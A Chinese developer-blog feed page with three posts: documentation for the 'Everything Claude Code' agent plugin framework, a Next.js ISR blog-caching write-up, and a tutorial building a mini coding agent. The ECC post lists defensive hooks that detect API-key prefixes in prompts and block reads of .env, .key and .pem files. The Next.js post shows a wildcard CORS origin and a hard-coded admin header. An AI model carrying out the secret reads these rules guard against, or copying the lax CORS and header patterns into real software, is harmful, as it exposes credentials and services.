普通视图

发现新文章,点击刷新页面。
今天 — 2026年3月2日技术

Everything Claude Code 文档

作者 王小酱
2026年3月2日 15:17

一、项目概述

Everything Claude Code(ECC) 是一个 AI Agent 工作框架性能优化系统,由 Anthropic Hackathon 获奖者 Affaan Mustafa 开发,历经 10 个月以上的生产环境实战积累。

它不只是配置文件的集合,而是一套完整的系统,包含:

  • Skills(技能):可复用的工作流定义
  • Instincts(直觉):持续学习,自动从会话中提取模式
  • Memory Optimization(记忆优化):跨会话上下文持久化
  • Security Scanning(安全扫描):AgentShield 集成,102 条规则
  • Research-first Development(研究优先开发):先调研再编码

支持平台:Claude Code、Codex CLI、Cursor IDE、OpenCode、Cowork 及其他 AI Agent 工作框架。


二、核心架构

目录结构总览

everything-claude-code/
├── .claude-plugin/         # 插件和市场清单(plugin.json, marketplace.json)
├── agents/                 # 13 个专业子代理(.md 文件)
├── .agents/skills/         # 技能定义(SKILL.md + openai.yaml)
├── commands/               # 32 个斜杠命令(.md 文件)
├── rules/                  # 编码规范(common/ + typescript/ + python/ + golang/)
├── hooks/                  # 触发式自动化(hooks.json + 脚本)
├── scripts/                # 跨平台 Node.js 脚本
├── contexts/               # 动态系统提示注入上下文
├── examples/               # CLAUDE.md 配置示例(Next.js、Go、Django 等)
├── mcp-configs/            # MCP 服务器配置(GitHub、Supabase、Vercel 等)
├── .cursor/                # Cursor IDE 适配层
├── .codex/                 # Codex CLI 适配层
├── .opencode/              # OpenCode 适配层
└── docs/                   # 完整文档

三、快速开始(2 分钟上手)

步骤一:安装插件(推荐)

# 添加为市场源
/plugin marketplace add affaan-m/everything-claude-code

# 安装插件
/plugin install everything-claude-code@everything-claude-code

或者直接在 ~/.claude/settings.json 中添加:

{
  "extraKnownMarketplaces": {
    "everything-claude-code": {
      "source": {
        "source": "github",
        "repo": "affaan-m/everything-claude-code"
      }
    }
  },
  "enabledPlugins": {
    "everything-claude-code@everything-claude-code": true
  }
}

步骤二:安装规则(必须手动)

⚠️ Claude Code 插件系统不支持自动分发规则文件,需手动安装。

git clone https://github.com/affaan-m/everything-claude-code.git
cd everything-claude-code

# 使用安装脚本(推荐)
./install.sh typescript          # TypeScript 项目
./install.sh python              # Python 项目
./install.sh typescript python   # 多语言项目

# 针对 Cursor
./install.sh --target cursor typescript

步骤三:开始使用

# 规划新功能
/everything-claude-code:plan "Add user authentication"

# 查看所有可用命令
/plugin list everything-claude-code@everything-claude-code

安装完成后你即可使用:13 个 Agents + 56 个 Skills + 32 个 Commands


四、核心模块详解

4.1 Agents(专业子代理)—— 13 个

Agent 描述
planner 功能实现规划
architect 系统设计决策
tdd-guide 测试驱动开发指导
code-reviewer 代码质量与安全审查
security-reviewer 漏洞分析(OWASP Top 10)
build-error-resolver 构建错误修复
e2e-runner Playwright E2E 测试
refactor-cleaner 死代码清理
doc-updater 文档同步更新
go-reviewer Go 代码审查
go-build-resolver Go 构建错误修复
python-reviewer Python 代码审查
database-reviewer 数据库/Supabase 审查

调用示例:

/everything-claude-code:plan "Add OAuth authentication"  # 触发 planner
/code-review                                              # 触发 code-reviewer
/security-scan                                            # 触发 security-reviewer

4.2 Skills(技能库)—— 56+ 个

Skills 是可复用的工作流定义,按领域分类:

通用开发:

  • coding-standards — 语言最佳实践
  • tdd-workflow — TDD 方法论(先写测试,80% 覆盖率)
  • security-review — 安全检查清单
  • eval-harness / verification-loop — 验证循环评估
  • search-first — 先调研再编码工作流
  • api-design — REST API 设计与分页、错误响应
  • deployment-patterns — CI/CD、Docker、健康检查、回滚

前端:

  • frontend-patterns — React、Next.js 模式
  • frontend-slides — 零依赖 HTML 演示文稿(含 PPTX 转换)
  • e2e-testing — Playwright E2E 测试 + Page Object Model

后端 & 数据库:

  • backend-patterns — API、数据库、缓存模式
  • clickhouse-io — ClickHouse 分析查询
  • postgres-patterns — PostgreSQL 优化
  • database-migrations — Prisma、Drizzle、Django、Go 迁移
  • docker-patterns — Docker Compose、网络、卷、容器安全

Python / Django:

  • django-patterns / django-security / django-tdd / django-verification
  • python-patterns / python-testing

Java Spring Boot:

  • springboot-patterns / springboot-security / springboot-tdd / springboot-verification
  • java-coding-standards / jpa-patterns

Go:

  • golang-patterns / golang-testing

Swift / iOS:

  • swift-actor-persistence — 基于 Actor 的线程安全数据持久化
  • swift-protocol-di-testing — 协议依赖注入可测试 Swift 代码
  • liquid-glass-design — iOS 26 Liquid Glass 设计系统
  • foundation-models-on-device — Apple 设备端 LLM
  • swift-concurrency-6-2 — Swift 6.2 并发特性

C++:

  • cpp-coding-standards — C++ Core Guidelines
  • cpp-testing — GoogleTest + CMake/CTest

学习与优化:

  • continuous-learning / continuous-learning-v2 — 自动从会话提取模式(含置信度评分)
  • strategic-compact — 手动压缩建议
  • cost-aware-llm-pipeline — LLM 成本优化、模型路由、预算追踪
  • iterative-retrieval — 子代理的渐进式上下文精炼

内容创作(新增):

  • article-writing — 无 AI 腔调的长文写作
  • content-engine — 多平台社交内容工作流
  • market-research — 带来源标注的市场研究
  • investor-materials — 融资 Pitch Deck、备忘录、财务模型
  • investor-outreach — 个性化融资外联与跟进

4.3 Commands(斜杠命令)—— 32 个

开发流程:

命令 用途
/plan "..." 创建功能实现计划
/tdd 强制执行 TDD 工作流
/code-review 审查代码变更
/build-fix 修复构建错误
/e2e 生成 E2E 测试
/refactor-clean 清除死代码
/security-scan 安全漏洞扫描
/test-coverage 测试覆盖率分析

Go 专项:

命令 用途
/go-review Go 代码审查
/go-test Go TDD 工作流
/go-build 修复 Go 构建错误

多代理编排:

命令 用途
/multi-plan 多代理任务分解
/multi-execute 编排多代理工作流
/multi-backend 后端多服务编排
/multi-frontend 前端多服务编排
/multi-workflow 通用多服务工作流
/pm2 PM2 服务生命周期管理
/orchestrate 多代理协调

持续学习系统:

命令 用途
/learn 会话中提取模式
/learn-eval 提取、评估并保存模式
/instinct-status 查看已学习的直觉(含置信度)
/instinct-import <file> 导入他人直觉
/instinct-export 导出直觉供分享
/evolve 将相关直觉聚类为技能

其他实用命令:

命令 用途
/checkpoint 保存验证状态
/verify 运行验证循环
/eval 按标准评估
/sessions 会话历史管理
/update-docs 更新文档
/skill-create 从 Git 历史生成技能
/setup-pm 配置包管理器

4.4 Hooks(触发式自动化)

Hooks 在工具事件发生时自动触发,示例:

{
  "matcher": "tool == \"Edit\" && tool_input.file_path matches \"\\.(ts|tsx|js|jsx)$\"",
  "hooks": [{
    "type": "command",
    "command": "grep -n 'console\\.log' \"$file_path\" && echo '[Hook] Remove console.log' >&2"
  }]
}

内置 Hook 脚本(Node.js,全平台兼容):

  • session-start.js — 会话开始时自动加载上下文
  • session-end.js — 会话结束时自动保存状态
  • pre-compact.js — 压缩前保存状态
  • suggest-compact.js — 建议压缩时机
  • evaluate-session.js — 从会话中提取模式

4.5 Rules(编码规范)

按语言分目录组织,安装时按需选择:

rules/
├── common/            # 通用原则(必装)
│   ├── coding-style.md    # 不可变性、文件组织
│   ├── git-workflow.md    # Commit 格式、PR 流程
│   ├── testing.md         # TDD、80% 覆盖率要求
│   ├── performance.md     # 模型选择、上下文管理
│   ├── patterns.md        # 设计模式
│   ├── hooks.md           # Hook 架构
│   ├── agents.md          # 子代理委托时机
│   └── security.md        # 强制安全检查
├── typescript/        # TypeScript/JavaScript 专项
├── python/            # Python 专项
└── golang/            # Go 专项

五、生态工具

5.1 AgentShield — 安全审计工具

Anthropic x Cerebral Valley Hackathon(2026年2月) 上构建,1282 个测试,98% 覆盖率,102 条静态分析规则。

# 快速扫描(无需安装)
npx ecc-agentshield scan

# 自动修复安全问题
npx ecc-agentshield scan --fix

# 深度分析(三个 Opus 4.6 代理:红队/蓝队/审计员)
npx ecc-agentshield scan --opus --stream

# 从零生成安全配置
npx ecc-agentshield init

扫描范围: CLAUDE.md、settings.json、MCP 配置、hooks、agent 定义、skills,覆盖 5 大类别:

  • 密钥检测(14 种模式)
  • 权限审计
  • Hook 注入分析
  • MCP 服务器风险评估
  • Agent 配置审查

输出格式: 终端彩色(A-F 评级)、JSON(CI 管道)、Markdown、HTML。

--opus 模式会运行三个 Claude Opus 4.6 代理组成红队/蓝队/审计员流水线:攻击者寻找漏洞链,防御者评估保护,审计员综合出优先级风险报告。这是对抗性推理,而非单纯的模式匹配。

在 Claude Code 中直接运行:/security-scan

5.2 Skill Creator — 技能生成器

方式 A:本地分析(内置)

/skill-create                  # 分析当前仓库
/skill-create --instincts      # 同时生成直觉

方式 B:GitHub App(高级)

适用于 10k+ commits、自动 PR、团队共享:

  • 安装:github.com/marketplace…
  • 在任意 Issue 中评论:/skill-creator analyze
  • 支持 push 到主分支时自动触发

5.3 持续学习系统 v2

/instinct-status    # 查看已学习的直觉及置信度
/instinct-import    # 导入他人的直觉
/instinct-export    # 导出自己的直觉分享给团队
/evolve             # 将相关直觉聚类成可复用技能

六、多平台支持详情

6.1 各平台功能对比

功能 Claude Code Cursor IDE Codex CLI OpenCode
Agents ✅ 13 个 共享(AGENTS.md) 共享 ✅ 12 个
Commands ✅ 33 个 共享 指令式 ✅ 24 个
Skills ✅ 50+ 共享 10 个 ✅ 37 个
Hook 事件数 8 种 15 种 ❌ 暂不支持 11 种
Rules ✅ 29 条 ✅ 29 条(YAML) 指令式 13 条
MCP 服务器 ✅ 14 个 共享 4 个 完整
自定义工具 通过 Hook 通过 Hook ✅ 6 个原生

6.2 Cursor IDE 快速接入

./install.sh --target cursor typescript
./install.sh --target cursor python golang swift

Cursor 的 Hook 使用 DRY 适配器模式,adapter.js 将 Cursor 的 stdin JSON 转换为 Claude Code 格式,复用现有脚本无需重写。

关键 Hook:

  • beforeShellExecution — 阻止在 tmux 外启动开发服务器,审查 git push
  • afterFileEdit — 自动格式化 + TypeScript 检查 + console.log 警告
  • beforeSubmitPrompt — 检测提示词中的密钥(sk-ghp_AKIA 等)
  • beforeTabFileRead — 阻止读取 .env.key.pem 文件

6.3 Codex CLI 快速接入

cp .codex/config.toml ~/.codex/config.toml
codex  # AGENTS.md 自动被检测

⚠️ Codex CLI 暂不支持 Hooks(GitHub Issue #2109,430+ 赞),安全策略通过 persistent_instructions 和沙箱权限系统实现。

6.4 OpenCode 快速接入

npm install -g opencode
opencode  # 从仓库根目录运行,自动检测 .opencode/opencode.json

OpenCode 的插件系统比 Claude Code 更强大,支持 20+ 事件类型(包括 file.editedmessage.updatedlsp.client.diagnostics 等)。


七、Token 优化指南

推荐配置(加入 ~/.claude/settings.json

{
  "model": "sonnet",
  "env": {
    "MAX_THINKING_TOKENS": "10000",
    "CLAUDE_AUTOCOMPACT_PCT_OVERRIDE": "50",
    "CLAUDE_CODE_SUBAGENT_MODEL": "haiku"
  }
}
设置 默认值 推荐值 效果
model opus sonnet 约降低 60% 成本
MAX_THINKING_TOKENS 31,999 10,000 约降低 70% 隐藏推理成本
CLAUDE_AUTOCOMPACT_PCT_OVERRIDE 95 50 更早压缩,长会话质量更好

日常工作流命令

命令 使用时机
/model sonnet 默认,适用于大多数任务
/model opus 复杂架构设计、深度调试
/clear 切换到无关联任务时(免费、即时重置)
/compact 完成里程碑后、开始下一任务前
/cost 监控会话中的 Token 消耗

上下文窗口管理

⚠️ 不要同时启用所有 MCP 服务器。 每个 MCP 工具描述都会消耗 200k 上下文窗口中的 Token,可能将可用上下文压缩到 ~70k。

// 在项目 .claude/settings.json 中禁用不需要的 MCP
{
  "disabledMcpServers": ["supabase", "railway", "vercel"]
}

建议:每个项目启用 不超过 10 个 MCP,活跃工具不超过 80 个


八、典型工作流示例

开发新功能

# 1. 规划
/everything-claude-code:plan "Add user authentication with OAuth"
# → planner 代理创建实现蓝图

# 2. 测试驱动开发
/tdd
# → tdd-guide 强制先写测试

# 3. 代码审查
/code-review
# → code-reviewer 检查回归问题

修复 Bug

# 1. 写一个能复现 bug 的失败测试
/tdd
# → tdd-guide:先写失败测试

# 2. 实现修复,验证测试通过

# 3. 审查
/code-review
# → code-reviewer:捕获潜在回归

上线前检查

/security-scan      # → 安全漏洞审计(OWASP Top 10)
/e2e                # → 关键用户流程 E2E 测试
/test-coverage      # → 验证 80%+ 覆盖率

代理选择速查表

我想要... 使用命令 调用代理
规划新功能 /plan "Add auth" planner
系统架构设计 /plan + 架构师模式 architect
TDD 写代码 /tdd tdd-guide
审查刚写的代码 /code-review code-reviewer
修复失败构建 /build-fix build-error-resolver
E2E 测试 /e2e e2e-runner
安全漏洞扫描 /security-scan security-reviewer
清理死代码 /refactor-clean refactor-cleaner
更新文档 /update-docs doc-updater
审查 Go 代码 /go-review go-reviewer
审查 Python 代码 /python-review python-reviewer

九、版本更新历史

v1.7.0(2026年2月)— 跨平台扩展 + 演示文稿构建器

  • Codex app + CLI 支持 — 基于 AGENTS.md 的直接 Codex 支持
  • frontend-slides 技能 — 零依赖 HTML 演示文稿构建器,含 PPTX 转换指导
  • 5 个新通用业务技能article-writingcontent-enginemarket-researchinvestor-materialsinvestor-outreach
  • 更广泛的工具覆盖 — Cursor、Codex 和 OpenCode 支持更完善
  • 992 内部测试 — 扩展了插件、Hooks、技能和打包的验证覆盖

v1.6.0(2026年2月)— Codex CLI、AgentShield 与市场

  • Codex CLI 支持 — 新增 /codex-setup 命令生成 codex.md
  • 7 个新技能search-firstswift-actor-persistenceswift-protocol-di-testingregex-vs-llm-structured-text
  • AgentShield 集成/security-scan 可直接运行 AgentShield(1282 测试,102 规则)
  • GitHub Marketplace — ECC Tools GitHub App 上线,含免费/专业/企业层级
  • 30+ 社区 PR 合并

v1.4.0(2026年2月)— 多语言规则、安装向导 & PM2

  • 交互式安装向导configure-ecc 技能提供引导式设置
  • PM2 & 多代理编排 — 6 个新命令
  • 多语言规则架构common/ + typescript/ + python/ + golang/
  • 中文(zh-CN)翻译 — 80+ 文件完整翻译
  • GitHub Sponsors 支持

v1.3.0(2026年2月)— OpenCode 插件支持

  • 完整 OpenCode 集成 — 12 个代理、24 个命令、16 个技能(含 Hook 支持)
  • 3 个原生自定义工具run-testscheck-coveragesecurity-audit
  • LLM 文档llms.txt 提供完整 OpenCode 文档

v1.2.0(2026年2月)— 统一命令 & 技能

  • Python/Django 支持 — Django 模式、安全、TDD、验证技能
  • Java Spring Boot 技能 — 模式、安全、TDD、验证
  • 会话管理/sessions 命令
  • 持续学习 v2 — 基于直觉的学习,含置信度评分

十、系统要求

  • Claude Code CLI:最低版本 v2.1.0+
  • 检查版本claude --version

⚠️ 贡献者注意:不要在 .claude-plugin/plugin.json 中添加 "hooks" 字段。Claude Code v2.1+ 会从已安装插件自动加载 hooks/hooks.json,显式声明会导致重复检测错误(详见 Issue #29、#52、#103)。


十一、常见问题

Q:如何查看已安装的 agents/commands?

/plugin list everything-claude-code@everything-claude-code

Q:Hooks 不工作 / 出现"Duplicate hooks file"错误? 检查 .claude-plugin/plugin.json 中是否有 "hooks" 字段,有则删除。

Q:上下文窗口迅速缩小? 禁用未使用的 MCP 服务器(见第七节),保持活跃 MCP 不超过 10 个。

Q:可以只使用部分组件吗? 可以,使用手动安装方式(Option 2),按需复制文件。每个组件完全独立。

Q:如何贡献新技能? Fork 仓库 → 在 skills/your-skill-name/SKILL.md 创建技能(含 YAML frontmatter)→ 提交 PR。

Nextjs ISR 企业落地实战

2026年3月2日 15:14

背景

Nextjs 项目本来使用的是 SSG 来渲染门户网站的 blog 的,目录如下:

image.png

这样技术实现是简单,但是维护成本比较高。运营和销售同学写完营销文章后,需要推送给研发,由研发录入到 git 仓库中,并且执行一遍发布流程。这样做,没有办法将文章撰写作为一个独立的营销任务,必须借助技术发布。而且还有个问题,blog 越来越多,放在仓库里,会导致仓库大小越来越大:

image.png

需求与技术方案设计

于是我们就设计了一个这样的内部需求:

维护一个内部的 blog 发布平台,运营录入后点击发布,同时通知 Nextjs 项目触发更新文章。

技术方案:

  • 内部 blog 发布平台使用 antd + go 搭建,负责录入文章到数据库,并提供公网接口获取
  • Nextjs 改造为通过接口获取动态数据,设置缓存来优化访问;并暴露 API,内部 blog 发布平台触发更新后清除缓存,用户下次访问就回去拉取最新的数据源。

初步实现

内部 blog 发布平台

没啥说的,普通的后台管理系统,如图

image.png

md 编辑器就使用掘金的 bytemd

image.png

用户录入后,存入到数据库中,并暴露接口来获取。

Nextjs 项目改造

页面配置:

export const dynamic = 'auto'; // 允许页面缓存
export const dynamicParams = true;
export const revalidate = 259200; // 页面缓存 3 天(与 fetch 缓存时间一致)

将读取静态目录换为通过接口(自己开发 API 提供数据源)获取:

// SSR 页面
const postData = {
  Action: "GetPublishedArticleList",
  Lang: lng,
};

const startTime = Date.now();
const res = await fetch(blogApiUrl, {
  method: "POST",
  headers: {
    'remote_user': 'admin',
    'Content-Type': 'application/json',
  },
  body: JSON.stringify(postData),
  // 设置缓存:有效期3天(259200秒),使用标签以便外部API可以清除缓存
  next: {
    revalidate: 259200, // 3天
    tags: [`blog-list-${lng}`],
  },
});

// 拿到数据后处理
if (res.ok) {
    const response = await res.json();
    const count = response?.Data?.Total || 0;
    ...
}

...

然后暴露 API,负责清除 fetch 缓存:

image.png

该 API 要记得配置 cors 跨域和来源 ip 和频次限制。

此外,需要配置 api 请求拦截,避免被中间件等影响造成请求不到地址:

async headers() {
    return [
      {
        // 排除 /api 路径,让 API 路由自己处理 CORS
        source: "/((?!api).)*",
        headers: [
          {
            key: "Access-Control-Allow-Origin",
            value: "*", // Set your origin
          },
          {
            key: "Access-Control-Allow-Methods",
            value: "GET, POST, PUT, DELETE, OPTIONS",
          },
          {
            key: "Access-Control-Allow-Headers",
            value: "Content-Type, Authorization",
          },
        ],
      },
    ];
  },

ISR 工作流程

首次访问:

  • 服务端渲染(SSR), fetch 缓存
  • 生成 HTML 并缓存
  • 返回给用户

后续访问(3 天内):

  • 直接返回缓存的 HTML, 不重新渲染, 响应快

3 天后:

  • 第一个请求触发后台重新渲染
  • 更新全部缓存
  • 后续请求使用新缓存

调用 /api/revalidate-blog:

  • 立即清除缓存
  • 下次访问重新渲染

落地演示

新建一篇文章,点击发布,更新状态:

image.png

调用 revalidate API 触发缓存更新:

image.png

线上刷新查看:

image.png

成功!!

「完全理解」1 分钟实现自己的 Coding Agent

作者 QCY
2026年3月2日 15:11

背景

相信大家都已经体验过了市面上各种 Coding Agent 应用(Claude Code、codeX、kimi-cli...),一定也对其原理有过好奇。废话不多说,咱们今天直实现一个 Mini Coding Agent

阅读本文前最好对 llm、tools 有一些基础的理解,(可以阅读笔者之前的文章「完全理解」MCP 到底是什么?从零开始实现一个完整的 MCP 调用链

本文案例代码:github.com/qqqqqcy/cod…

1. 1 分钟实现 Mini Coding Agent

实现一个 Mini Coding Agent 其实并不复杂,跟着步骤来甚至都花不了 1 分钟。我们先给自己的项目取个名称方便后续称呼,为了省事咱们就叫 mca(Mini Coding Agent)

1.1. 快速实现

在根目录 mca 中初始化 package.json 文件和对应目录,因为是个分阶段的项目,第一个阶段先新建一个 0_deepagents 文件夹

mca
├── .env
├── 0_deepagents
│   └── src
│       ├── index.js
│       └── test.js
└── package.json

项目主要目的是弄懂 Coding Agent 原理,所以我们不会从 LLM 调用开始,会基于成熟的 SDK 封装。作为一个前端,可以先非常粗略的类比一了下后续会用到的相关依赖,有一个基础概念

基础层级 成熟封装的 SDK 成熟应用(配置好了路由、全局 store、组件库、项目基础框架)
JavaScript Vue、React 各种开箱即用的基础应用
LLM API LangChain、LangGraph Deep Agents

首先我们基于 deepagents 来实现 mca,同时过程中会涉及环境变量,所有先以下三个依赖

npm i @langchain/deepseek deepagents dotenv

deepagents 是一个独立的库,用于构建能够处理复杂多步骤任务的智能体。它基于 LangGraph 构建,并受到 Claude Code、Deep Research 和 Manus 等应用的启发,具备规划能力、用于上下文管理的文件系统以及生成子代理的能力。

{
  "name": "mini-coding-agent",
  "version": "1.0.0",
  "main": "index.js",
  "type": "module",
  "scripts": {
    "test": "echo "Error: no test specified" && exit 1",
    "start": "node ./0_deepagents/src/index.js"
  },
  "license": "ISC",
  "dependencies": {
    "@langchain/deepseek": "^1.0.9",
    "deepagents": "^1.7.0",
    "dotenv": "^17.2.4"
  }
}

先不说废话,直接基于 deepagents 创建一个智能体。

如果使用的非 deepseek model 可以参考此处替换对应依赖

// file: 0_deepagents/src/index.js

import "dotenv/config";
import { ChatDeepSeek } from "@langchain/deepseek";
import { createDeepAgent, FilesystemBackend } from "deepagents";

// 项目根目录,用于提示词中告知 Agent 工作目录
const PROJECT_ROOT = process.cwd();

// 简洁的 ReAct 风格系统提示词
const CODING_AGENT_SYSTEM_PROMPT = `---
PROJECT_ROOT: ${PROJECT_ROOT}
---
// As a ReAct coding agent, interpret user instructions and execute them using the most suitable tool.
`;

// 创建 Coding Agent 所需的全部代码 ⬇️⬇️⬇️ 
export const codingAgent = createDeepAgent({
    // 声明 agent 所用模型
    model: new ChatDeepSeek({
        model: "deepseek-chat",
        temperature: 0,
        maxTokens: 4096,
        apiKey: process.env.DEEPSEEK_API_KEY,
    }),
    // createDeepAgent 会使用虚拟容器,因此我们指定一下位置为命令行执行目录
    backend: new FilesystemBackend({
        rootDir: PROJECT_ROOT,
        virtualMode: true
    }),
    systemPrompt: CODING_AGENT_SYSTEM_PROMPT,
    name: "coding_agent",
});

const args = process.argv.slice(2);
if (args.length === 0) {
    console.log('请输入指令');
    process.exit(1);
} else {
    codingAgent.invoke({
        messages: [{ role: "user", content: args?.[0] }],
    }).then(res => {
        console.log(res.messages[res.messages.length - 1].content);
    }).catch(err => {
        console.error(err);
    });
}

.env 里配置好相关 LLM 服务的 key(本文用的 deepseek

# .env

DEEPSEEK_API_KEY=在开放平台获取的 key

在根目录用命令行验证一下

npm start '概述下 0_deepagents 项目'

成功执行之后,可以获取类似输出:

于我对项目的分析,我来为您概述 **0_deepagents** 项目:

## 项目概述

**0_deepagents** 是一个基于 DeepSeek AI 和 DeepAgents 框架构建的代码助手代理项目,它是 `mini-coding-agent` 项目的一部分。

## 核心功能

1. **AI 驱动的代码助手**:使用 DeepSeek 的 Chat API 作为底层模型
2. **ReAct 架构**:采用 Reasoning and Acting 模式,能够解释用户指令并选择合适的工具执行
3. **文件系统集成**:通过 FilesystemBackend 与本地文件系统交互
4. **命令行接口**:支持通过命令行参数传递指令

## 技术栈

- **运行时环境**:Node.js (ES Module)
- **AI 模型**:DeepSeek Chat (通过 @langchain/deepseek 集成)
- **代理框架**:DeepAgents v1.7.0
- **配置管理**:dotenv 用于环境变量管理
- **追踪监控**:LangSmith 用于 API 调用追踪

## 项目结构

```
0_deepagents/
└── src/
    └── index.js          # 主入口文件,包含代理配置和启动逻辑
```

## 核心组件

### 1. **代理配置** (`codingAgent`)
- 使用 DeepSeek Chat 模型 (temperature=0, maxTokens=4096)
- 虚拟文件系统模式,工作目录为项目根目录
- 简洁的 ReAct 风格系统提示词

### 2. **系统提示词**
- 告知代理当前工作目录 (`PROJECT_ROOT`)
- 定义代理角色:作为 ReAct 编码代理,解释用户指令并使用最合适的工具执行

### 3. **命令行接口**
- 支持通过 `npm start` 或直接运行 `node ./0_deepagents/src/index.js` 启动
- 通过命令行参数传递用户指令
- 错误处理和用户友好的提示信息

## 使用方式

1. **环境配置**:需要设置 `DEEPSEEK_API_KEY` 环境变量
2. **启动代理**```bash
   npm start "你的指令"
   # 或
   node ./0_deepagents/src/index.js "你的指令"
   ```
3. **功能示例**   - 代码生成和修改
   - 文件系统操作
   - 项目分析和重构

## 项目特点

1. **轻量级设计**:代码简洁,专注于核心功能
2. **模块化架构**:易于扩展和集成其他工具
3. **生产就绪**:包含错误处理和日志追踪
4. **可配置性**:通过环境变量灵活配置 API 密钥和追踪设置

## 在整体项目中的位置

`0_deepagents``mini-coding-agent` 项目的第一个模块,后续还有 `1_langgraph` 等其他模块,共同构成一个完整的 AI 编码助手系统。

这个项目展示了如何将现代 AI 模型与代理框架结合,创建一个实用的代码助手工具,能够理解自然语言指令并执行相应的编码任务。

🎉🎉🎉 恭喜你!亲手实现了 Mini Coding Agent,下一步就是年薪百万了,下课!

1.2. 拆解魔法

你可能会一头雾水,这就实现了?我是谁?我在哪?怎么它就能正确的分析当前目录了?

稍安勿躁,我们慢慢开始解析

1.2.1. Agent 定义

首先从定义开始,到底什么是 Agent

网上关于 Agent 的文章千千万,定义也不尽相同。我个人是这么理解的:

AI Agent = 具有特定范式,以及工具调用能力的 LLM

工具调用不必多说,范式简单来说就是实现目标的「思考方式」,比如是最简单的只执行一步,还是列完总体步骤分布执行,或者是执行一步看一步...

常见范式:

Agent 范式类型 核心逻辑
ReAct Agent 思考-行动交替,无提前规划
Plan&Execute Agent 先规划、再按步骤执行
Self-Ask Agent 自我提问-工具验证,无修正
... ...

1.2.2. mca 的范式和工具

大部分 Coding Agent 的本质是一个 ReAct 风格的 Agent,mca 当然也一样

ReAct 是 Reasoning and Act 的缩写,是一种让 LLM 能够「边思考边行动」的提示范式,核心思想是让模型交替进行 Reasoning(推理)和 Acting(行动)。

基本流程:

  1. Thought(思考) :模型分析当前状态,决定下一步做什么
  2. Action(行动) :执行具体操作(比如调用搜索 API、读文件)
  3. Observation(观察) :获取行动结果
  4. 重复 1-3,直到得出最终答案

它拥有自己的规划感知执行能力:

  • 通过调用只读的文件系统工具集(ls、read_file、grep...) 获得仓库的结构和必要的上下文,从而定位到与用户需求相关的文件和行号
  • 然后再通过文本编辑器工具集(write_file、edit_file...) 将代码写入仓库

1.2.3. 验证内部逻辑

说了一大堆可能还是没什么实感,我们可以通过查看 mca 内部执行日志来更直观的感受

查日志的流程非常简单,在 deepagents 提供的日志服务 LangSmith 注册并获取 API key

在之前的 .env 中增加相关配置(无需修改任何代码)

# .env

DEEPSEEK_API_KEY=在开放平台获取的 key

+ LANGSMITH_TRACING=true
+ LANGSMITH_API_KEY=刚获取的 API key
+ LANGSMITH_PROJECT="mca"

重新执行刚才的 node 命令,就可以实时在 LangSmith 上查看相关日志了

这个界面非常直观,每一步做了什么、入参、出参都非常清晰。通过阅读日志,我们可以发现 mca 本质上就是基于 LLM 调用不同工具获取所需信息,信息足够之后就可以输出最终结果

比如点击到任意 Chat 节点,可以查看完整的 SystemPrompt、可用 Tools

除开最顶部两行是我们自定义的以外,下面都是 deepagents 自行添加的,主要功能是:

  1. 声明要记录 TODO(为了减少复杂度我们后续可以先忽略这一部分)
  2. 可用的文件系统相关工具
  3. 如何开启 Subagent(为了减少复杂度我们后续可以先忽略这一部分)
---
PROJECT_ROOT: /Users/bytedance/my-project/mini-cluade-code-study
---

// As a ReAct coding agent, interpret user instructions and execute them using the most suitable tool.

In order to complete the objective that the user asks of you, you have access to a number of standard tools.


## `write_todos`

You have access to the `write_todos` tool to help you manage and plan complex objectives. 
Use this tool for complex objectives to ensure that you are tracking each necessary step and giving the user visibility into your progress.
This tool is very helpful for planning complex objectives, and for breaking down these larger complex objectives into smaller steps.

It is critical that you mark todos as completed as soon as you are done with a step. Do not batch up multiple steps before marking them as completed.
For simple objectives that only require a few steps, it is better to just complete the objective directly and NOT use this tool.
Writing todos takes time and tokens, use it when it is helpful for managing complex many-step problems! But not for simple few-step requests.

## Important To-Do List Usage Notes to Remember
- The `write_todos` tool should never be called multiple times in parallel.
- Don't be afraid to revise the To-Do list as you go. New information may reveal new tasks that need to be done, or old tasks that are irrelevant.
## Filesystem Tools `ls`, `read_file`, `write_file`, `edit_file`, `glob`, `grep`

You have access to a filesystem which you can interact with using these tools.
All file paths must start with a /.

- ls: list files in a directory (requires absolute path)
- read_file: read a file from the filesystem
- write_file: write to a file in the filesystem
- edit_file: edit a file in the filesystem
- glob: find files matching a pattern (e.g., "**/*.py")
- grep: search for text within files
## `task` (subagent spawner)

You have access to a `task` tool to launch short-lived subagents that handle isolated tasks. These agents are ephemeral — they live only for the duration of the task and return a single result.

When to use the task tool:
- When a task is complex and multi-step, and can be fully delegated in isolation
- When a task is independent of other tasks and can run in parallel
- When a task requires focused reasoning or heavy token/context usage that would bloat the orchestrator thread
- When sandboxing improves reliability (e.g. code execution, structured searches, data formatting)
- When you only care about the output of the subagent, and not the intermediate steps (ex. performing a lot of research and then returned a synthesized report, performing a series of computations or lookups to achieve a concise, relevant answer.)

Subagent lifecycle:
1. **Spawn** → Provide clear role, instructions, and expected output
2. **Run** → The subagent completes the task autonomously
3. **Return** → The subagent provides a single structured result
4. **Reconcile** → Incorporate or synthesize the result into the main thread

When NOT to use the task tool:
- If you need to see the intermediate reasoning or steps after the subagent has completed (the task tool hides them)
- If the task is trivial (a few tool calls or simple lookup)
- If delegating does not reduce token usage, complexity, or context switching
- If splitting would add latency without benefit

## Important Task Tool Usage Notes to Remember
- Whenever possible, parallelize the work that you do. This is true for both tool_calls, and for tasks. Whenever you have independent steps to complete - make tool_calls, or kick off tasks (subagents) in parallel to accomplish them faster. This saves time for the user, which is incredibly important.
- Remember to use the `task` tool to silo independent tasks within a multi-part objective.
- You should use the `task` tool whenever you have a complex task that will take multiple steps, and is independent from other tasks that the agent needs to complete. These agents are highly competent and efficient.

到这里,我们已经基本清楚了要实现一个 mca 的全部条件!

  • 提供文件读写工具
  • LLM + Prompt + ReAct 范式

2. 10 分钟实现 Mini Coding Agent

接下来抛开 DeepAgents,尝试用 LangGraph 实现上减少了一层封装的 mca

LangGraph 是一个低层级的编排框架和运行时,用于构建、管理和部署长期运行、有状态的智能体。(可以理解为一堆常用 LLM 相关逻辑的语法糖 SDK )

为了更好理解不同的 Coding Agent,我们这次改为参照 Cladue Code 而不是 deepagents

2.1. 文件读写工具

具体要哪些工具、每个工具的功能是什么不同 Coding Agent 有自己的理解和实现。

要分析代码简单来说就是读代码、写代码,所以我们主要实现读写相关的工具

工具 说明
Bash 在持久 shell 会话中执行 bash 命令,支持可选的超时和后台执行。
BashOutput 从正在运行或已完成的后台 bash shell 中获取输出。
Edit 在文件中执行精确的字符串替换。
